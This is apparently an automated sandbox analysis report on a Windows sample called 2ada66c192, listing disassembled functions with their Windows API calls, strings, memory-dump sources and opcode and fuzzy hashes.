Opcode Fuzzy Hash: 9d0968765f3cdbb2a872a0bd396bf803fb5d3775ee298d25faaa6cb602158978
Instruction Fuzzy Hash: A6414F72D00218AFDB10DBA4CC51EEEBBB9EF15300F00509AFA55B7281DB706E45DBA0

Function 006DC27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 006DC306
DeleteMenu.USER32(?,00000007,00000000), ref: 006DC34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00741990,010754B0), ref: 006DC395

Strings

0, xrefs: 006DC2DF

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 0f2c6121a08bedfe25fea75d26409e18a922bd55fad0f89348f0808e5e07363c
Instruction ID: 519710a6c378a41f5498e19c61ffb1d05f92f80a3cc1f9808181bf1dc63c473a
Opcode Fuzzy Hash: 0f2c6121a08bedfe25fea75d26409e18a922bd55fad0f89348f0808e5e07363c
Instruction Fuzzy Hash: 1C41BF31A04346DFDB20DF28D884B5ABBE6AF85320F11861EF9A5973D1C730E904CB66

Function 00704416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0070CC08,00000000,?,?,?,?), ref: 007044AA
GetWindowLongW.USER32 ref: 007044C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 007044D7

Strings

SysTreeView32, xrefs: 0070447C

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 91ef53047b96758324edb57e52c487b2b8816e8455a12e17325d0e15fa4d6044
Instruction ID: e1e66478e879de96f2a1e22fd76208cf89d6f87b095690ebd79752337acede82
Opcode Fuzzy Hash: 91ef53047b96758324edb57e52c487b2b8816e8455a12e17325d0e15fa4d6044
Instruction Fuzzy Hash: D1319CB1210245EBDB219F38DC45BEA77A9EB08334F208319FA79922D0DB78AC609750

Function 006D6E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysReAllocString.OLEAUT32(?,?), ref: 006D6EED
VariantCopyInd.OLEAUT32(?,?), ref: 006D6F08
VariantClear.OLEAUT32(?), ref: 006D6F12

Strings

*jm, xrefs: 006D6E8B, 006D6E90, 006D6EF8

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Variant$AllocClearCopyString
String ID: *jm
API String ID: 2173805711-1720354028
Opcode ID: da4c27788201152a0c6fd5d9752b8099981ea18968945bfaee912f28e549b3e7
Instruction ID: e4938c505bcf07b240d03f7ac1783e22eadf15fe9531d5d4d8e26dcaa33f7e70
Opcode Fuzzy Hash: da4c27788201152a0c6fd5d9752b8099981ea18968945bfaee912f28e549b3e7
Instruction Fuzzy Hash: 3231CFB1A04645DBCB05AFA5E8909BE37B7FF80300B10459EF9024B3B1CB349D12CBA4

Function 00704653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00704705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00704713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0070471A

Strings

msctls_updown32, xrefs: 00704684

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: fc6b5b80054ef78ccd870a3b1917b3169a4fdc361cebc785272f88a9729068d0
Instruction ID: c93b3136dc82cdf0f40b730f1d3f59ad17eafb89df05c32d7dae3903ab7ee1f6
Opcode Fuzzy Hash: fc6b5b80054ef78ccd870a3b1917b3169a4fdc361cebc785272f88a9729068d0
Instruction Fuzzy Hash: EC217CF5600209EFEB10DF68DC91DA637EDEB4A3A4B004149FA009B2A1CB35EC51CA64

Function 006E49F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 006E4A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 006E4A5C
SetErrorMode.KERNEL32(00000000,?,?,0070CC08), ref: 006E4AD0

Strings

%lu, xrefs: 006E4A6F

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 93977e1c30094b7f16fdf09663966fa149141082c638d2b3cd09b2223471431e
Instruction ID: ad027e66b38b363e68625cc83f392dd4e73765c27f9cfeff99918cb58212218d
Opcode Fuzzy Hash: 93977e1c30094b7f16fdf09663966fa149141082c638d2b3cd09b2223471431e
Instruction Fuzzy Hash: 19318170A00208AFDB11DF64C885EAA77F9EF08304F1480A9F409DB352DB75ED45CB65

Function 007041EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0070424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00704264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00704271

Strings

msctls_trackbar32, xrefs: 00704226

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: fccf9f28e5d052cb2fadf88d0f3e2bf4b9544da2480cee5603c03d1b72f6c291
Instruction ID: ea3f1cff94321fd0b692d536d0aa9f628970cf00adb2be7ab8bb8d214e8220fc
Opcode Fuzzy Hash: fccf9f28e5d052cb2fadf88d0f3e2bf4b9544da2480cee5603c03d1b72f6c291
Instruction Fuzzy Hash: BE11C171240208BEEF209F28CC06FAB3BECEF85B64F014218FA55E20D0D675D8619B14

Function 006D2F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00676B57: _wcslen.LIBCMT ref: 00676B6A

Part of subcall function 006D2DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 006D2DC5
Part of subcall function 006D2DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 006D2DD6
Part of subcall function 006D2DA7: GetCurrentThreadId.KERNEL32 ref: 006D2DDD
Part of subcall function 006D2DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 006D2DE4

GetFocus.USER32 ref: 006D2F78

Part of subcall function 006D2DEE: GetParent.USER32(00000000), ref: 006D2DF9

GetClassNameW.USER32(?,?,00000100), ref: 006D2FC3
EnumChildWindows.USER32(?,006D303B), ref: 006D2FEB

Strings

%s%d, xrefs: 006D2FFF

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: d3cbca61e689a25c1c073a604d87042821aa6ae8881d510ff2b9af0dc0cc1516
Instruction ID: 08f8c4c9c327fc762a85a1d07ef21181edffdcac21f47ac6e3eccd05056cfe2e
Opcode Fuzzy Hash: d3cbca61e689a25c1c073a604d87042821aa6ae8881d510ff2b9af0dc0cc1516
Instruction Fuzzy Hash: 5911E471A00205ABDF917F70CC95EEE376BAF94304F04817AF9099B392DE359A498B74

Function 006D007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4edc20ff8f08d7568b8b4f92a6a46c94f43bd7d416f3e88365520cb3844cb588
Instruction ID: d48fa68240e5fcc047ed75daf11c009e5ad0fdb11ba66405f8a7f497f505a325
Opcode Fuzzy Hash: 4edc20ff8f08d7568b8b4f92a6a46c94f43bd7d416f3e88365520cb3844cb588
Instruction Fuzzy Hash: 33C13775A00216AFEB14CFA4C894BAEB7B6FF48304F218599E505EB351D731EE42CB90

Function 006D0436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,0070FC08,?), ref: 006D05F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,0070FC08,?), ref: 006D0608
CLSIDFromProgID.OLE32(?,?,00000000,0070CC40,000000FF,?,00000000,00000800,00000000,?,0070FC08,?), ref: 006D062D
_memcmp.LIBVCRUNTIME ref: 006D064E

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 12ccf2b7bb54f7e3dbafc153f86e2ba0e0cd765e90ad75d0fa20416209c4024f
Instruction ID: 9545daa64f8d00855265fc8d297caacb1aba106b22422b0c37d153784d169273
Opcode Fuzzy Hash: 12ccf2b7bb54f7e3dbafc153f86e2ba0e0cd765e90ad75d0fa20416209c4024f
Instruction Fuzzy Hash: 96810D75E00109EFDB04DF94C984EEEB7BAFF89315F204599E506AB250DB71AE06CB60

Function 006FA67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 006FA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 006FA6BA

Part of subcall function 00679CB3: _wcslen.LIBCMT ref: 00679CBD

Process32NextW.KERNEL32(00000000,?), ref: 006FA79C
CloseHandle.KERNEL32(00000000), ref: 006FA7AB

Part of subcall function 0068CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,006B3303,?), ref: 0068CE8A

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 83061e20d65b352d7ee9511052a740a405210c1ca24bdf524eb43d98e3cc71cd
Instruction ID: 03de421cbff654618aac00a4950154a92d6ee3f14b90936e2ed32edf7a99da64
Opcode Fuzzy Hash: 83061e20d65b352d7ee9511052a740a405210c1ca24bdf524eb43d98e3cc71cd
Instruction Fuzzy Hash: 48516EB15083009FD750EF24C886E6BBBE9FF89754F008A1DF59997252EB70D904CB96

Function 00706278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 007062E2
ScreenToClient.USER32(?,?), ref: 00706315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00706382

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: f7cbfe4f9d93287f5b6493a6c3d5b072de9aed0475a1a38baba912aaec684edc
Instruction ID: 994b7bb773e5bbaaac496766a0cd174d93538346fc15bee23dc941e10437617e
Opcode Fuzzy Hash: f7cbfe4f9d93287f5b6493a6c3d5b072de9aed0475a1a38baba912aaec684edc
Instruction Fuzzy Hash: AA512A75900249EFDF20DF54D890AAE7BF6FB45360F108259F915972D0D734AD91CB90

Function 006DAB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 006DABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 006DAC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 006DAC74
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 006DACC6

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 5048f14fffc1b860e18c68337952a45e0fdcab34455c5f446f191f73b43a78bd
Instruction ID: a6f3e7c864e2af0f380a691d5d44b4be262712d1c49ae3ae455c746aee66275e
Opcode Fuzzy Hash: 5048f14fffc1b860e18c68337952a45e0fdcab34455c5f446f191f73b43a78bd
Instruction Fuzzy Hash: 19310C30E68618AFFF35CBA58C047FA7767AB89330F04431BE485523D1C77589458756

Function 00708FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00689BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00689BB2

GetCursorPos.USER32(?), ref: 00709001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,006C7711,?,?,?,?,?), ref: 00709016
GetCursorPos.USER32(?), ref: 0070905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,006C7711,?,?,?), ref: 00709094

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: ec21751e967a046792547f45be657484a1bbd75690bf6ac2ff1fb77ebf86e4be
Instruction ID: 563bd4982321b8b4e8656b791023126e50718da705f6b967542ff8cd041b7035
Opcode Fuzzy Hash: ec21751e967a046792547f45be657484a1bbd75690bf6ac2ff1fb77ebf86e4be
Instruction Fuzzy Hash: 8321A135600018EFDB269F94CC58EFB7BF9EF4A350F144269FA45472A2C739A990DB60

Function 00702782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0070280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00702824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00702832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00702840

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 01f3177c0fdc9146dc8b47e300261abc78d7a08daa8865ac8b37cfae76278be3
Instruction ID: dcdc663f5b00815e75d2aeccac142d428b4d4cad4495afbe5f5808c6e011c5c6
Opcode Fuzzy Hash: 01f3177c0fdc9146dc8b47e300261abc78d7a08daa8865ac8b37cfae76278be3
Instruction Fuzzy Hash: 1C21B236204111EFE7159B24CC48F6A7795AF45324F24C358F5168B6D3DB79EC42C790

Function 006ECE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 006ECE89
GetLastError.KERNEL32(?,00000000), ref: 006ECEEA
SetEvent.KERNEL32(?,?,00000000), ref: 006ECEFE

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: b2ffe914a763c5988e9f2095f8132fdc78e68aabc52a1f20988c15275910e3ed
Instruction ID: beccdf7b0771cf83dae1778141de482a57092e864e234e7d8cfbb0764150f822
Opcode Fuzzy Hash: b2ffe914a763c5988e9f2095f8132fdc78e68aabc52a1f20988c15275910e3ed
Instruction Fuzzy Hash: 7221B0B1501305EFDB20DF66C945BAA77FEEF00324F10851EE54692251EB74ED069B54

Function 006DE1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 006DE1FD
MessageBoxW.USER32(?,?,?,?), ref: 006DE230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 006DE246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 006DE24D

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: c9d61ff9ace108f5e12db7bc2a57f5e5e5a1dcfb5e86672ae652654ee9a1708a
Instruction ID: 0933cfe72e15dc3b5bf2d61a339dc47d339f40ef68ab21620c879206ef99cff6
Opcode Fuzzy Hash: c9d61ff9ace108f5e12db7bc2a57f5e5e5a1dcfb5e86672ae652654ee9a1708a
Instruction Fuzzy Hash: CA110876D04258BBC702AFA89C05A9F7FAD9B46310F00831AF914D7390D775DA0487A4

Function 0067600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0067604C
GetStockObject.GDI32(00000011), ref: 00676060
SendMessageW.USER32(00000000,00000030,00000000), ref: 0067606A

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: f1d4db99044eecd27bf5c43de2856d31300ffacb1c34186c7da92455a13385ed
Instruction ID: ea9789bc735574af0e62fc9905b24d6bb1e4f977dee87f07c9e414fd3aa5710b
Opcode Fuzzy Hash: f1d4db99044eecd27bf5c43de2856d31300ffacb1c34186c7da92455a13385ed
Instruction Fuzzy Hash: B511A172101908FFEF125F94CD44EEA7B6AFF08364F008205FA0852110CB369C60DF90

Function 006A3073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,006713C6,00000000,00000000,?,006A301A,006713C6,00000000,00000000,00000000,?,006A328B,00000006,FlsSetValue), ref: 006A30A5
GetLastError.KERNEL32(?,006A301A,006713C6,00000000,00000000,00000000,?,006A328B,00000006,FlsSetValue,00712290,FlsSetValue,00000000,00000364,?,006A2E46), ref: 006A30B1
